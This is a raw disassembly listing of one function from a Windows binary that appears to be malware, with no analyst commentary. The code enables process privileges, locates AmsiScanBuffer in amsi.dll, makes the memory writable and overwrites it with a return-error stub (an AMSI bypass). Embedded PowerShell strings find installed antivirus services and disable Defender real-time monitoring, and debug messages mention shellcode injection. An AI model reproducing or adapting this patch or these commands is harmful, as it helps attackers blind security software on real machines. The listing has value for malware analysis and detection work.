Function at 0x14000b710
Capabilities:
Print debug messages
Resume thread

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x588
movaps xmmword [rsp + 0x570], xmm12
movaps xmmword [rsp + 0x560], xmm11
movaps xmmword [rsp + 0x550], xmm10
movaps xmmword [rsp + 0x540], xmm9
movaps xmmword [rsp + 0x530], xmm8
movaps xmmword [rsp + 0x520], xmm7
movdqa xmmword [rsp + 0x510], xmm6
pxor xmm6, xmm6
movdqa xmmword [rsp + 0x430], xmm6
movdqa xmmword [rsp + 0x420], xmm6
movdqa xmmword [rsp + 0x3c0], xmm6
lea rcx, [rsp + 0x420]
mov edx, 0x20
call fcn.14001dee0
lea rcx, [rsp + 0x3c0]
mov edx, 0x10
call fcn.14001dee0
lea rsi, [rsp + 0x150]
movabs r15, 0x101010101010100
movabs r13, 0x8080808080808080
xor ebp, ebp
jmp 0x14000b7e1
add rbp, 0x10
cmp rbp, 0x1a0
je 0x14000bd9d
lea rcx, [0x140048430]
lea rax, [rcx + rbp]
mov qword [rsp + 0x3f0], rax
mov r12, qword [rbp + rcx]
mov r14, qword [rbp + rcx + 8]
mov qword [rsp + 0x360], 0
call qword [sym.imp.kernel32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0x28
lea r8, [rsp + 0x360]
call qword [sym.imp.advapi32.dll_OpenProcessToken]
test eax, eax
je 0x14000b8a0
cmp r14, 0xffffffffffffffff
je 0x140010388
mov rbx, r14
inc rbx
js 0x140010394
movzx eax, byte [0x1400551c8]
xor ecx, ecx
mov rdx, rbx
call fcn.14003d410
test rax, rax
je 0x140010399
mov rdi, rax
mov rcx, rax
mov rdx, r12
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
cmp r14, 0x10
jae 0x14000b8d0
test r14, r14
je 0x14000b963
xor ecx, ecx
nop dword [rax]
cmp byte [r12 + rcx], 0
je 0x1400102d0
inc rcx
cmp r14, rcx
jne 0x14000b880
jmp 0x14000b963
call qword [sym.imp.kernel32.dll_GetLastError]
movzx r14d, ax
or r14d, 0x80070000
test eax, eax
cmovle r14d, eax
test r14d, r14d
mov eax, 0x535f4f4b
cmove r14d, eax
jmp 0x14000bb0d
lea rax, [r12 + 7]
and rax, 0xfffffffffffffff8
sub rax, r12
jne 0x14000b8e6
lea rcx, [r14 - 0x10]
xor eax, eax
jmp 0x14000b910
xor ecx, ecx
nop dword [rax + rax]
cmp byte [r12 + rcx], 0
je 0x1400102d0
inc rcx
cmp rax, rcx
jne 0x14000b8f0
lea rcx, [r14 - 0x10]
cmp rax, rcx
ja 0x14000b93f
nop dword [rax]
mov rdx, qword [r12 + rax]
mov r8, qword [r12 + rax + 8]
mov r9, r15
sub r9, r8
or r9, r8
mov r8, r15
sub r8, rdx
or r8, rdx
and r8, r9
not r8
test r8, r13
jne 0x14000b93f
add rax, 0x10
cmp rax, rcx
jbe 0x14000b910
mov rdx, r14
sub rdx, rax
je 0x14000b963
add r12, rax
xor ecx, ecx
nop dword [rax]
cmp byte [r12 + rcx], 0
je 0x1400102cd
inc rcx
cmp rdx, rcx
jne 0x14000b950
mov byte [rdi + r14], 0
mov qword [rsp + 0xe0], 0
xor ecx, ecx
mov rdx, rdi
lea r8, [rsp + 0xe0]
call qword [sym.imp.advapi32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x14000bad0
mov dword [rsp + 0x150], 1
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0x154], rax
mov dword [rsp + 0x15c], 2
mov rcx, qword [rsp + 0x360]
movdqu xmmword [rsp + 0x20], xmm6
xor edx, edx
mov r8, rsi
xor r9d, r9d
call qword [sym.imp.advapi32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x14000bad0
mov byte [rdi], 0
test rbx, rbx
je 0x14000b9f3
mov rcx, qword [0x140055160]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, [rsp + 0x3f0]
mov qword [rsp + 0xe0], rax
lea rax, [0x140014dd0]
mov qword [rsp + 0xe8], rax
lea rax, str.Enabled_privilege:
mov qword [rsp + 0x150], rax
mov qword [rsp + 0x158], 1
mov qword [rsp + 0x170], 0
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x168], 1
lea rcx, [rsp + 0xa0]
mov rdx, rsi
call fcn.140018ad0
mov rbx, qword [rsp + 0xa0]
mov rdi, qword [rsp + 0xa8]
mov r14, qword [rsp + 0xb0]
mov r8d, 0x200
mov rcx, rsi
xor edx, edx
call sub.VCRUNTIME140.dll_memset
cmp r14, 0xff
mov eax, 0xff
cmovb rax, r14
test r14, r14
je 0x14000bd6a
lea rdx, [rax - 1]
cmp r14, rdx
cmovb rdx, r14
inc rdx
cmp rdx, 0x11
jae 0x14000bce0
mov rcx, rdi
xor edx, edx
mov r8, rax
jmp 0x14000bd38
call qword [sym.imp.kernel32.dll_GetLastError]
movzx r14d, ax
or r14d, 0x80070000
test eax, eax
cmovle r14d, eax
test r14d, r14d
mov eax, 0x535f4f4b
cmove r14d, eax
mov byte [rdi], 0
test rbx, rbx
je 0x14000bb0d
mov rcx, qword [0x140055160]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rsp + 0x360], 0
mov dword [rsp + 0x368], r14d
lea rax, [rsp + 0x3f0]
mov qword [rsp + 0xe0], rax
lea rax, [0x140014dd0]
mov qword [rsp + 0xe8], rax
lea rax, [rsp + 0x360]
mov qword [rsp + 0xf0], rax
lea rax, [0x140040e50]
mov qword [rsp + 0xf8], rax
lea rax, str.Failed_to_enable_privilege
mov qword [rsp + 0x150], rax
mov qword [rsp + 0x158], 2
mov qword [rsp + 0x170], 0
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x168], 2
lea rcx, [rsp + 0x60]
mov rdx, rsi
call fcn.140018ad0
mov rbx, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
mov r14, qword [rsp + 0x70]
mov r8d, 0x200
mov rcx, rsi
xor edx, edx
call sub.VCRUNTIME140.dll_memset
cmp r14, 0xff
mov eax, 0xff
cmovb rax, r14
test r14, r14
je 0x14000bc9a
lea rdx, [rax - 1]
cmp r14, rdx
cmovb rdx, r14
inc rdx
cmp rdx, 0x11
jae 0x14000bc10
mov rcx, rdi
xor edx, edx
mov r8, rax
jmp 0x14000bc68
mov ecx, edx
and ecx, 0xf
mov r8d, 0x10
cmove rcx, r8
sub rdx, rcx
lea rcx, [rdi + rdx]
xor r8d, r8d
nop dword [rax]
movq xmm0, qword [rdi + r8]
movq xmm1, qword [rdi + r8 + 8]
punpcklbw xmm0, xmm6
punpcklbw xmm1, xmm6
movdqu xmmword [rsp + r8*2 + 0x150], xmm0
movdqu xmmword [rsp + r8*2 + 0x160], xmm1
add r8, 0x10
cmp rdx, r8
jne 0x14000bc30
mov r8, rax
sub r8, rdx
add r14, rdi
lea rdx, [rsp + rdx*2]
add rdx, 0x150
xor r9d, r9d
nop dword [rax]
lea r10, [rcx + r9]
cmp r10, r14
je 0x14000bc9a
movzx r10d, byte [r10]
mov word [rdx + r9*2], r10w
inc r9
cmp r8, r9
jne 0x14000bc80
mov word [rsp + rax*2 + 0x150], 0
mov rcx, rsi
call qword [sym.imp.kernel32.dll_OutputDebugStringW]
test rbx, rbx
je 0x14000bcc4
mov rcx, qword [0x140055160]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [rsp + 0x360]
test rcx, rcx
je 0x14000b7d0
mov rax, qword [rcx]
call qword [rax + 0x10]
jmp 0x14000b7d0
mov ecx, edx
and ecx, 0xf
mov r8d, 0x10
cmove rcx, r8
sub rdx, rcx
lea rcx, [rdi + rdx]
xor r8d, r8d
nop dword [rax]
movq xmm0, qword [rdi + r8]
movq xmm1, qword [rdi + r8 + 8]
punpcklbw xmm0, xmm6
punpcklbw xmm1, xmm6
movdqu xmmword [rsp + r8*2 + 0x150], xmm0
movdqu xmmword [rsp + r8*2 + 0x160], xmm1
add r8, 0x10
cmp rdx, r8
jne 0x14000bd00
mov r8, rax
sub r8, rdx
add r14, rdi
lea rdx, [rsp + rdx*2]
add rdx, 0x150
xor r9d, r9d
nop dword [rax]
lea r10, [rcx + r9]
cmp r10, r14
je 0x14000bd6a
movzx r10d, byte [r10]
mov word [rdx + r9*2], r10w
inc r9
cmp r8, r9
jne 0x14000bd50
mov word [rsp + rax*2 + 0x150], 0
mov rcx, rsi
call qword [sym.imp.kernel32.dll_OutputDebugStringW]
test rbx, rbx
je 0x14000b7d0
mov rcx, qword [0x140055160]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14000b7d0
lea rcx, [rsp + 0x1a0]
mov r8d, 0x1b0
xor edx, edx
call sub.VCRUNTIME140.dll_memset
movaps xmm0, xmmword [0x1400458a0]
movaps xmmword [rsp + 0x150], xmm0
movaps xmm0, xmmword [0x1400458b0]
movaps xmmword [rsp + 0x160], xmm0
movaps xmm0, xmmword [0x1400458c0]
movaps xmmword [rsp + 0x170], xmm0
movaps xmm0, xmmword [0x1400458d0]
movaps xmmword [rsp + 0x180], xmm0
movdqa xmm0, xmmword [0x1400458e0]
movdqa xmmword [rsp + 0x190], xmm0
lea rcx, [rsp + 0x150]
call qword [sym.imp.kernel32.dll_OutputDebugStringW]
lea rcx, [rsp + 0x420]
lea rdx, [rsp + 0x3c0]
call fcn.140002da0
test eax, eax
je 0x14000bf0e
mov qword [rsp + 0xa0], 0
mov dword [rsp + 0xa8], eax
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x60], rax
lea rax, [0x140040e50]
mov qword [rsp + 0x68], rax
lea rax, str.Process_module_remapping_failed:
mov qword [rsp + 0x150], rax
mov qword [rsp + 0x158], 1
mov qword [rsp + 0x170], 0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x168], 1
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x150]
call fcn.140018ad0
mov rsi, qword [rsp + 0xe8]
mov rdi, qword [rsp + 0xf0]
lea rcx, [rsp + 0x150]
mov r8d, 0x200
xor edx, edx
call sub.VCRUNTIME140.dll_memset
cmp rdi, 0xff
mov eax, 0xff
cmovb rax, rdi
test rdi, rdi
je 0x14000c26a
lea rcx, [rax - 1]
cmp rdi, rcx
cmovb rcx, rdi
inc rcx
cmp rcx, 0x11
jae 0x14000c1e0
xor ecx, ecx
mov rdx, rsi
mov r8, rax
jmp 0x14000c238
lea rcx, [rsp + 0x1b2]
mov r8d, 0x19e
xor edx, edx
call sub.VCRUNTIME140.dll_memset
movaps xmm0, xmmword [str.Process_module_remapping_completed_successfully._AMSI_bypass_injection..ully_loaded_amsiully_located_AmsiScanBuffer_funcPatch_prepared_for_the_current_architectMemory_protection_changed_to_PAGE_EXECUTE_READWRShellcode_injectProceeding_with_PowerShell_execution...]
movaps xmmword [rsp + 0x150], xmm0
movaps xmm0, xmmword [0x140045900]
movaps xmmword [rsp + 0x160], xmm0
movaps xmm0, xmmword [0x140045910]
movaps xmmword [rsp + 0x170], xmm0
movaps xmm0, xmmword [0x140045920]
movaps xmmword [rsp + 0x180], xmm0
movaps xmm9, xmmword [0x140045930]
movaps xmmword [rsp + 0x190], xmm9
movaps xmm10, xmmword [0x140045940]
movaps xmmword [rsp + 0x1a0], xmm10
mov word [rsp + 0x1b0], 0
lea rcx, [rsp + 0x150]
mov rbx, qword [sym.imp.kernel32.dll_OutputDebugStringW]
call rbx
lea rcx, [rsp + 0x194]
mov r8d, 0x1bc
xor edx, edx
call sub.VCRUNTIME140.dll_memset
movaps xmm8, xmmword [0x140045520]
movaps xmmword [rsp + 0x150], xmm8
movaps xmm0, xmmword [0x140045950]
movaps xmmword [rsp + 0x160], xmm0
movaps xmm0, xmmword [0x140045960]
movaps xmmword [rsp + 0x170], xmm0
movaps xmm0, xmmword [0x140045970]
movaps xmmword [rsp + 0x180], xmm0
mov dword [rsp + 0x190], 0x2e
lea rcx, [rsp + 0x150]
call rbx
lea rcx, str.amsi.dll
lea rdi, [rsp + 0x420]
lea r14, [rsp + 0x3c0]
mov rdx, rdi
mov r8, r14
call fcn.140002a80
mov rsi, rax
lea rcx, [rsp + 0x18a]
mov r8d, 0x1c6
xor edx, edx
call sub.VCRUNTIME140.dll_memset
movdqa xmm6, xmmword [0x140045610]
movdqa xmmword [rsp + 0x150], xmm6
movaps xmm7, xmmword [0x140045980]
movaps xmmword [rsp + 0x160], xmm7
movaps xmm0, xmmword [0x140045990]
movaps xmmword [rsp + 0x170], xmm0
movabs rax, 0x6c006c0064002e
mov qword [rsp + 0x180], rax
mov word [rsp + 0x188], 0
lea rcx, [rsp + 0x150]
call rbx
lea rdx, str.AmsiScanBuffer
mov rcx, rsi
mov r8, rdi
mov r9, r14
call fcn.140002c10
mov rsi, rax
lea rcx, [rsp + 0x1ac]
mov r8d, 0x1a4
xor edx, edx
call sub.VCRUNTIME140.dll_memset
movdqa xmmword [rsp + 0x150], xmm6
movaps xmm0, xmmword [0x1400459a0]
movaps xmmword [rsp + 0x160], xmm0
movaps xmm0, xmmword [0x1400459b0]
movaps xmmword [rsp + 0x170], xmm0
movaps xmm0, xmmword [0x1400459c0]
movaps xmmword [rsp + 0x180], xmm0
movaps xmm0, xmmword [0x1400459d0]
movaps xmmword [rsp + 0x190], xmm0
movabs rax, 0x6e006f00690074
mov qword [rsp + 0x1a0], rax
mov dword [rsp + 0x1a8], 0x2e
lea rcx, [rsp + 0x150]
call rbx
lea rcx, [rsp + 0x1aa]
mov r8d, 0x1a6
xor edx, edx
call sub.VCRUNTIME140.dll_memset
movaps xmm0, xmmword [0x1400459e0]
movaps xmmword [rsp + 0x150], xmm0
movaps xmm0, xmmword [0x1400459f0]
movaps xmmword [rsp + 0x160], xmm0
movaps xmm0, xmmword [0x140045a00]
movaps xmmword [rsp + 0x170], xmm0
movaps xmm0, xmmword [0x140045a10]
movaps xmmword [rsp + 0x180], xmm0
movdqa xmm0, xmmword [0x140045a20]
movdqa xmmword [rsp + 0x190], xmm0
movabs rax, 0x2e006500720075
mov qword [rsp + 0x1a0], rax
mov word [rsp + 0x1a8], 0
lea rcx, [rsp + 0x150]
call rbx
mov rcx, rsi
mov edx, 0x40
mov r8, rdi
mov r9, r14
call fcn.1400028b0
test eax, eax
je 0x14000c2c3
lea rax, str.Failed_to_change_memory_protectionPatching_AmsiScanBuffer_at_memory_offset:_0x
mov ecx, 0x22
jmp 0x14000c712
mov edx, ecx
and edx, 0xf
mov r8d, 0x10
cmovne r8, rdx
sub rcx, r8
lea rdx, [rsi + rcx]
xor r8d, r8d
pxor xmm0, xmm0
nop dword [rax]
movq xmm1, qword [rsi + r8]
movq xmm2, qword [rsi + r8 + 8]
punpcklbw xmm1, xmm0
punpcklbw xmm2, xmm0
movdqu xmmword [rsp + r8*2 + 0x150], xmm1
movdqu xmmword [rsp + r8*2 + 0x160], xmm2
add r8, 0x10
cmp rcx, r8
jne 0x14000c200
mov r8, rax
sub r8, rcx
add rdi, rsi
lea rcx, [rsp + rcx*2]
add rcx, 0x150
xor r9d, r9d
nop dword [rax]
lea r10, [rdx + r9]
cmp r10, rdi
je 0x14000c26a
movzx r10d, byte [r10]
mov word [rcx + r9*2], r10w
inc r9
cmp r8, r9
jne 0x14000c250
mov word [rsp + rax*2 + 0x150], 0
lea rcx, [rsp + 0x150]
call qword [sym.imp.kernel32.dll_OutputDebugStringW]
cmp qword [rsp + 0xe0], 0
je 0x14000c29f
mov rcx, qword [0x140055160]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [rsp + 0xa0]
test rcx, rcx
je 0x14000c2b2
mov rax, qword [rcx]
call qword [rax + 0x10]
lea rax, str.Process_module_remapping_failedAMSI_bypass_injection_failed:
mov edx, 0x1f
jmp 0x14000e844
lea rcx, [rsp + 0x1ba]
mov r8d, 0x196
xor edx, edx
call sub.VCRUNTIME140.dll_memset
movaps xmm11, xmmword [0x140045a30]
movaps xmmword [rsp + 0x150], xmm11
movaps xmm12, xmmword [0x140045a40]
movaps xmmword [rsp + 0x160], xmm12
movaps xmm0, xmmword [0x140045a50]
movaps xmmword [rsp + 0x170], xmm0
movaps xmm0, xmmword [0x140045a60]
movaps xmmword [rsp + 0x180], xmm0
movaps xmm0, xmmword [0x140045a70]
movaps xmmword [rsp + 0x190], xmm0
movdqa xmm0, xmmword [0x140045a80]
movdqa xmmword [rsp + 0x1a0], xmm0
movabs rax, 0x2e004500540049
mov qword [rsp + 0x1b0], rax
mov word [rsp + 0x1b8], 0
lea rcx, [rsp + 0x150]
call qword [sym.imp.kernel32.dll_OutputDebugStringW]
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x3f0], xmm0
mov r8d, 0x10
mov eax, 0x10
test rsi, rsi
je 0x14000c3d1
mov rcx, rsi
nop word cs:[rax + rax]
mov edx, ecx
and edx, 0xf
lea r9d, [rdx + 0x30]
lea r10d, [rdx + 0x57]
cmp rdx, 0xa
movzx edx, r9b
movzx r9d, r10b
cmovb r9d, edx
mov rdx, rax
mov byte [rsp + rax + 0x3ef], r9b
dec rax
cmp rdx, 1
je 0x14000c3d1
mov rdx, rcx
shr rdx, 4
cmp rcx, 0xf
mov rcx, rdx
ja 0x14000c390
sub r8, rax
lea rdx, [rsp + rax]
add rdx, 0x3f0
lea rcx, [rsp + 0x150]
call fcn.14001a350
xor eax, eax
cmp byte [rsp + 0x150], 0
cmove rax, qword [rsp + 0x160]
mov ecx, 1
cmove rcx, qword [rsp + 0x158]
mov qword [rsp + 0x360], rcx
mov qword [rsp + 0x368], rax
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x68], 1
mov qword [rsp + 0x70], 0
lea rax, [rsp + 0x360]
mov qword [rsp + 0xe0], rax
lea rax, [0x140014a50]
mov qword [rsp + 0xe8], rax
lea rax, [0x140047aa0]
mov qword [rsp + 0x150], rax
mov qword [rsp + 0x158], 1
mov qword [rsp + 0x170], 0
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x168], 1
lea rdx, [0x140046020]
lea rdi, [rsp + 0x60]
lea r8, [rsp + 0x150]
mov rcx, rdi
call fcn.140019d00
test al, al
jne 0x14001040d
mov qword [rsp + 0xa0], rdi
lea rax, [0x140002010]
mov qword [rsp + 0xa8], rax
lea rax, [0x14004e458]
mov qword [rsp + 0x150], rax
mov qword [rsp + 0x158], 1
mov qword [rsp + 0x170], 0
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x168], 1
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x150]
call fcn.140018ad0
mov rdi, qword [rsp + 0xe8]
mov rbx, qword [rsp + 0xf0]
lea rcx, [rsp + 0x150]
mov r8d, 0x200
xor edx, edx
call sub.VCRUNTIME140.dll_memset
cmp rbx, 0xff
mov eax, 0xff
cmovb rax, rbx
test rbx, rbx
je 0x14000c61a
lea rcx, [rax - 1]
cmp rbx, rcx
cmovb rcx, rbx
inc rcx
cmp rcx, 0x11
jae 0x14000c589
xor ecx, ecx
mov rdx, rdi
mov r8, rax
jmp 0x14000c5e8
mov edx, ecx
and edx, 0xf
mov r8d, 0x10
cmovne r8, rdx
sub rcx, r8
lea rdx, [rdi + rcx]
xor r8d, r8d
pxor xmm0, xmm0
nop word cs:[rax + rax]
movq xmm1, qword [rdi + r8]
movq xmm2, qword [rdi + r8 + 8]
punpcklbw xmm1, xmm0
punpcklbw xmm2, xmm0
movdqu xmmword [rsp + r8*2 + 0x150], xmm1
movdqu xmmword [rsp + r8*2 + 0x160], xmm2
add r8, 0x10
cmp rcx, r8
jne 0x14000c5b0
mov r8, rax
sub r8, rcx
add rbx, rdi
lea rcx, [rsp + rcx*2]
add rcx, 0x150
xor r9d, r9d
nop dword [rax]
lea r10, [rdx + r9]
cmp r10, rbx
je 0x14000c61a
movzx r10d, byte [r10]
mov word [rcx + r9*2], r10w
inc r9
cmp r8, r9
jne 0x14000c600
mov word [rsp + rax*2 + 0x150], 0
lea rcx, [rsp + 0x150]
call qword [sym.imp.kernel32.dll_OutputDebugStringW]
cmp qword [rsp + 0xe0], 0
je 0x14000c64f
mov rcx, qword [0x140055160]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov byte [rsi], 0xb8
mov byte [rsi + 1], 0x57
mov byte [rsi + 2], 0
mov byte [rsi + 3], 0
mov byte [rsi + 4], 0
mov byte [rsi + 5], 0xc3
lea rcx, [rsp + 0x192]
mov r8d, 0x1be
xor edx, edx
call sub.VCRUNTIME140.dll_memset
movaps xmm0, xmmword [0x140045a90]
movaps xmmword [rsp + 0x150], xmm0
movdqa xmm0, xmmword [0x140045aa0]
movdqa xmmword [rsp + 0x160], xmm0
movaps xmmword [rsp + 0x170], xmm9
movaps xmmword [rsp + 0x180], xmm10
mov word [rsp + 0x190], 0
lea rcx, [rsp + 0x150]
call qword [sym.imp.kernel32.dll_OutputDebugStringW]
lea r8, [rsp + 0x420]
lea r9, [rsp + 0x3c0]
mov rcx, rsi
mov edx, 0x20
call fcn.1400028b0
test eax, eax
je 0x14000e139
cmp qword [rsp + 0x60], 0
je 0x14000c706
mov r8, qword [rsp + 0x68]
mov rcx, qword [0x140055160]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, str.Failed_to_restore_memory_protection_NoProfile_NonInteractive_Command_n_________antivirus__Get_CimInstance__Namespace_root_SecurityCenter2__ClassName_AntiVirusProduct_n________if___antivirus___n_____________displayName___antivirus.displayName_n_____________exePath___antivirus.pathToSignedProductExe_n_n_____________Extract_the_executable_name_from_the_path_n_____________exeName___System.IO.Path_::GetFileNameWithoutExtension__exePath__n_n_____________Find_the_service_associated_with_the_executable_n_____________service__Get_Service__Where_Object____.PathName__like___exeName___n_n____________if___service___n_________________PSCustomObject___n____________________DisplayName___displayName_n____________________ServiceName___service.Name_n__________________ConvertTo_Json_n_____________n____________else__n________________Write_Error__Service_not_found_for_executable:__exeName__n_____________n_________n________else__n____________Write_Error__No_antivirus_product_found.__n_________n____ServiceNameServiceName_not_found_in_JSON_output._nSet_MpPreference__DisableRealtimeMonitoring__true_n_________n____Failed_to_disable_real_time_monitoring:
mov ecx, 0x23
mov qword [rsp + 0x398], rax
mov qword [rsp + 0x3a0], rcx
lea rax, [rsp + 0x398]
mov qword [rsp + 0xe0], rax
lea r14, [0x140014a50]
mov qword [rsp + 0xe8], r14
lea rax, [0x140048048]
mov qword [rsp + 0x150], rax
mov qword [rsp + 0x158], 1
mov qword [rsp + 0x170], 0
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x168], 1
lea rcx, [rsp + 0x4b0]
lea rdx, [rsp + 0x150]
call fcn.140018ad0
mov rdi, qword [rsp + 0x4b0]
mov rsi, qword [rsp + 0x4b8]
mov rbx, qword [rsp + 0x4c0]
lea rcx, [rsp + 0x150]
mov r8d, 0x200
xor edx, edx
call sub.VCRUNTIME140.dll_memset
cmp rbx, 0xff
mov eax, 0xff
cmovb rax, rbx
test rbx, rbx
je 0x14000c88a
lea rcx, [rax - 1]
cmp rbx, rcx
cmovb rcx, rbx
inc rcx
cmp rcx, 0x11
jae 0x14000c7fd
xor ecx, ecx
mov rdx, rsi
mov r8, rax
jmp 0x14000c858
mov edx, ecx
and edx, 0xf
mov r8d, 0x10
cmovne r8, rdx
sub rcx, r8
lea rdx, [rsi + rcx]
xor r8d, r8d
pxor xmm0, xmm0
nop word [rax + rax]
movq xmm1, qword [rsi + r8]
movq xmm2, qword [rsi + r8 + 8]
punpcklbw xmm1, xmm0
punpcklbw xmm2, xmm0
movdqu xmmword [rsp + r8*2 + 0x150], xmm1
movdqu xmmword [rsp + r8*2 + 0x160], xmm2
add r8, 0x10
cmp rcx, r8
jne 0x14000c820
mov r8, rax
sub r8, rcx
add rbx, rsi
lea rcx, [rsp + rcx*2]
add rcx, 0x150
xor r9d, r9d
nop dword [rax]
lea r10, [rdx + r9]
cmp r10, rbx
je 0x14000c88a
movzx r10d, byte [r10]
mov word [rcx + r9*2], r10w
inc r9
cmp r8, r9
jne 0x14000c870
mov word [rsp + rax*2 + 0x150], 0
lea rcx, [rsp + 0x150]
call qword [sym.imp.kernel32.dll_OutputDebugStringW]
test rdi, rdi
je 0x14000c8b9
mov rcx, qword [0x140055160]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0x1a0]
mov r8d, 0x1b0
xor edx, edx
call sub.VCRUNTIME140.dll_memset
movaps xmm0, xmmword [0x140045ab0]
movaps xmmword [rsp + 0x150], xmm0
movaps xmm0, xmmword [0x140045ac0]
movaps xmmword [rsp + 0x160], xmm0
movaps xmm0, xmmword [0x140045ad0]
movaps xmmword [rsp + 0x170], xmm0
movaps xmm0, xmmword [0x140045ae0]
movaps xmmword [rsp + 0x180], xmm0
movdqa xmm0, xmmword [0x140045af0]
movdqa xmmword [rsp + 0x190], xmm0
lea rcx, [rsp + 0x150]
call qword [sym.imp.kernel32.dll_OutputDebugStringW]
lea rax, [0x14004714d]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 0x852
lea rax, [rsp + 0x60]
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], r14
lea rax, [0x140047a18]
mov qword [rsp + 0x150], rax
mov qword [rsp + 0x158], 2
mov qword [rsp + 0x170], 0
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x168], 1
lea rcx, [rsp + 0x360]
lea rdx, [rsp + 0x150]
call fcn.140018ad0
mov r13, qword [rsp + 0x368]
mov r12, qword [rsp + 0x370]
mov qword [rsp + 0xa0], 0
mov qword [rsp + 0xa8], 1
mov qword [rsp + 0xb0], 0
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x68], 1
mov qword [rsp + 0x70], 0
test r12, r12
je 0x14000d21e
add r12, r13
mov eax, 1
mov qword [rsp + 0x98], rax
mov qword [rsp + 0x58], 0
lea rbp, [rsp + 0x150]
lea r14, [rsp + 0xe0]
xor edi, edi
xor r15d, r15d
mov qword [rsp + 0x358], r12
jmp 0x14000ca71
mov rcx, qword [rsp + 0xa8]
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x98], rcx
mov byte [rcx + rax], bl
inc rax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0xb0], rax
cmp r13, r12
je 0x14000d1f0
movzx ecx, byte [r13]
movzx ebx, cl
test bl, bl
js 0x14000ca90
inc r13
cmp ebx, 0x27
jne 0x14000cb00
jmp 0x14000cb09
mov eax, ebx
and eax, 0x1f
movzx edx, byte [r13 + 1]
and edx, 0x3f
cmp bl, 0xdf
jbe 0x14000cad6
movzx ebx, byte [r13 + 2]
shl edx, 6
and ebx, 0x3f
or ebx, edx
cmp cl, 0xf0
jb 0x14000cae8
movzx ecx, byte [r13 + 3]
add r13, 4
and eax, 7
shl eax, 0x12
shl ebx, 6
and ecx, 0x3f
or ecx, ebx
or ecx, eax
mov ebx, ecx
cmp ebx, 0x27
jne 0x14000cb00
jmp 0x14000cb09
add r13, 2
shl eax, 6
or eax, edx
mov ebx, eax
cmp ebx, 0x27
jne 0x14000cb00
jmp 0x14000cb09
add r13, 3
shl eax, 0xc
or ebx, eax
cmp ebx, 0x27
je 0x14000cb09
nop word cs:[rax + rax]
cmp ebx, 0x22
jne 0x14000ccc0
test r15b, 1
je 0x14000ccb0
mov qword [rsp + 0xd8], r15
mov r15, qword [rsp + 0x68]
mov qword [rsp + 0xe0], 0
mov qword [rsp + 0xe8], 1
mov qword [rsp + 0xf0], 0
test rdi, rdi
je 0x14000cd4a
add rdi, r15
lea rsi, [rsp + 0x4e0]
lea r12, [0x140019f00]
nop
movzx edx, byte [r15]
movzx eax, dl
test al, al
js 0x14000cb70
inc r15
jmp 0x14000cbd0
mov ecx, eax
and ecx, 0x1f
movzx r8d, byte [r15 + 1]
and r8d, 0x3f
cmp al, 0xdf
jbe 0x14000cbb3
movzx eax, byte [r15 + 2]
shl r8d, 6
and eax, 0x3f
or eax, r8d
cmp dl, 0xf0
jb 0x14000cbc1
movzx edx, byte [r15 + 3]
add r15, 4
and ecx, 7
shl ecx, 0x12
shl eax, 6
and edx, 0x3f
or edx, eax
or edx, ecx
mov eax, edx
jmp 0x14000cbd0
add r15, 2
shl ecx, 6
or ecx, r8d
mov eax, ecx
jmp 0x14000cbd0
add r15, 3
shl ecx, 0xc
or eax, ecx
nop word [rax + rax]
mov dword [rsp + 0x4e0], eax
mov qword [rsp + 0x3f0], rsi
mov qword [rsp + 0x3f8], r12
lea rax, [0x140047028]
mov qword [rsp + 0x150], rax
mov qword [rsp + 0x158], 2
mov qword [rsp + 0x170], 0
lea rax, [rsp + 0x3f0]
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x168], 1
mov rcx, r14
lea rdx, [0x140046020]
mov r8, rbp
call fcn.140019d00
test al, al
jne 0x14001035c
cmp r15, rdi
jne 0x14000cb60
mov rdi, qword [rsp + 0xe8]
mov rax, qword [rsp + 0xf0]
test rax, rax
je 0x14000cd4f
mov r15, 0xffffffffffffffff
cmp byte [rdi + rax - 1], 0
jns 0x14000cf5f
movzx ecx, byte [rdi + rax - 2]
cmp cl, 0xbf
jg 0x14000ce1b
movzx edx, byte [rdi + rax - 3]
cmp dl, 0xbf
jg 0x14000cf32
movzx r8d, byte [rdi + rax - 4]
and r8d, 7
shl r8d, 6
and edx, 0x3f
or edx, r8d
jmp 0x14000cf35
xor r15b, 1
jmp 0x14000cfee
test r15b, 1
